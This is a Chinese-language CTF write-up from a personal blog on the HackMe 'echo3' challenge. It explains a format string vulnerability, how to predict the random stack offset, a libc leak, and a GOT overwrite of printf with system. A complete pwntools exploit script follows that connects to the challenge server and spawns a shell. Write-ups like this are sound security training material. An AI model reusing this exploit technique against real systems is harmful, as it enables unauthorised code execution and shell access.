LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

HackMe中的echo3

分析

首先我们先看一下程序反汇编的结果

图片无法显示,请设置GitHub代理

程序首先在栈中随机初始化了一块大小,注意到这里使用的是alloca,在汇编代码中是使用sub esp,eax实现的,其中eax中存储了随机的大小,我们在gdb中可以通过控制eax的值来控制其在栈中扩展的大小。程序随后调用了hardfmt函数,我们来看一下这个函数

图片无法显示,请设置GitHub代理

这里可以看到是一个格式化字符串的漏洞,但是这个输入的部分位于bss段中,因此在栈中的利用很麻烦,并且这里在栈中随机分配了一块的大小,导致我们无法准确地判断栈中变量的位置。我们观察了一下随机的大小的分布情况

1
2
3
4
5
6
7
8
9
10
11
now = []
for i in range(1000):
a = randint(0, 0xffffffff)
res = hex(16 * (((a & 0x3039) + 30) / 0x10))
if res in now:
continue
else:
now.append(res)

for i in now:
print i

最终的结果显示,其实这些大小还是有一定的规律的

1
['0x3040', '0x2040', '0x30', '0x1020', '0x3050', '0x2010', '0x1030', '0x1010', '0x1040', '0x50', '0x2030', '0x3010', '0x40', '0x3030', '0x2050', '0x2020', '0x10', '0x1050', '0x20', '0x3020']

我们可以选择任意的大小最为合适的情况,这里选择的是0x20。当分配的随机大小确定之后,栈中数据的位置就可以确定了,由于程序没有给出system的地址,因此我们需要先泄露libc的地址,泄露libc地址的时候恰好可以用来验证当前的栈是不是我们想要的栈分布。

因此利用的思路就很明显了,将printf_got的内容覆写为system的地址,传入/bin/sh即可以getshell。这里需要注意的是,因为我们当前无法直接控制栈中的内容,因此需要借助栈中现存的指向栈地址的指针来将printf_got的地址写入到栈中,在覆写printf_got的地址。

这里的一个小技巧就是栈中数据中存在GOT表的起始地址,因此我们修改栈中存储的指针指向存储GOT表起始地址的栈位置,这样我们在写printf_got的时候只需要覆写一个字节就可以了。

栈中的变化如下图所示

图片无法显示,请设置GitHub代理

第一次覆写完成之后

图片无法显示,请设置GitHub代理

第二次覆写完成之后

图片无法显示,请设置GitHub代理

第三次覆写完成之后

图片无法显示,请设置GitHub代理

下一次传入/bin/sh即可getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

context.log_level = "debug"
elf = ELF("./echo3")
debug = 0
while True:
if debug:
p = process(["./echo3"])
# gdb.attach(p)
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
one_gadget = 0x0

else:
p = remote("hackme.inndy.tw", 7720)
libc = ELF("libc-2.23.so.i386")
one_gadget = 0x0

payload = "%39$p\n%30$p"

p.sendline(payload)
address = p.recvline().strip()
if address[-3:] == "637":
break
else:
p.close()
continue

# gdb.attach(p, "b *0x08048774\nb *0x08048646\n")

print_got = elf.got['printf']
libc.address = int(address, 16)-libc.sym['__libc_start_main']-247
print "libc address", hex(libc.address)
stack_address = int(p.recvline().strip(), 16)
print "stack address", hex(stack_address)

system_address = libc.sym['system']
print "system address", hex(system_address)
print "printf address", hex(libc.sym['printf'])

# change stac
payload1 = "%{count}c%{num}$hn".format(count=str((stack_address-0x10c)&0xffff), num=str(0x1a))
payload1 += "%{count}c%{num}$hn".format(count=str(4), num=str(0x1b))
payload1 += "1111"
print payload1
p.sendline(payload1)
p.recvuntil("1111")

# write printf got
payload2 = "%{count}c%{num}$hn".format(count=str(print_got&0xffff), num=str(0x53))
payload2 += "%{count}c%{num}$hn".format(count=str(2), num=str(0x51))
payload2 += "2222"
print payload2
p.sendline(payload2)
p.recvuntil("2222")
# change printf got
payload3 = "%{count}c%{num}$hhn".format(count=str(system_address >> 16 & 0xff), num=17)
payload3 += "%{count}c%{num}$hn".format(count=str((system_address & 0xffff) - (system_address >> 16 & 0xff)), num=16)
payload3 += "3333"
p.sendline(payload3)
p.recv("3333")
p.sendline("/bin/sh\x00")
p.interactive()
'''

now = []
for i in range(1000):
a = randint(0, 0xffffffff)
res = hex(16 * (((a & 0x3039) + 30) / 0x10))
if res in now:
continue
else:
now.append(res)

for i in now:
print i

'''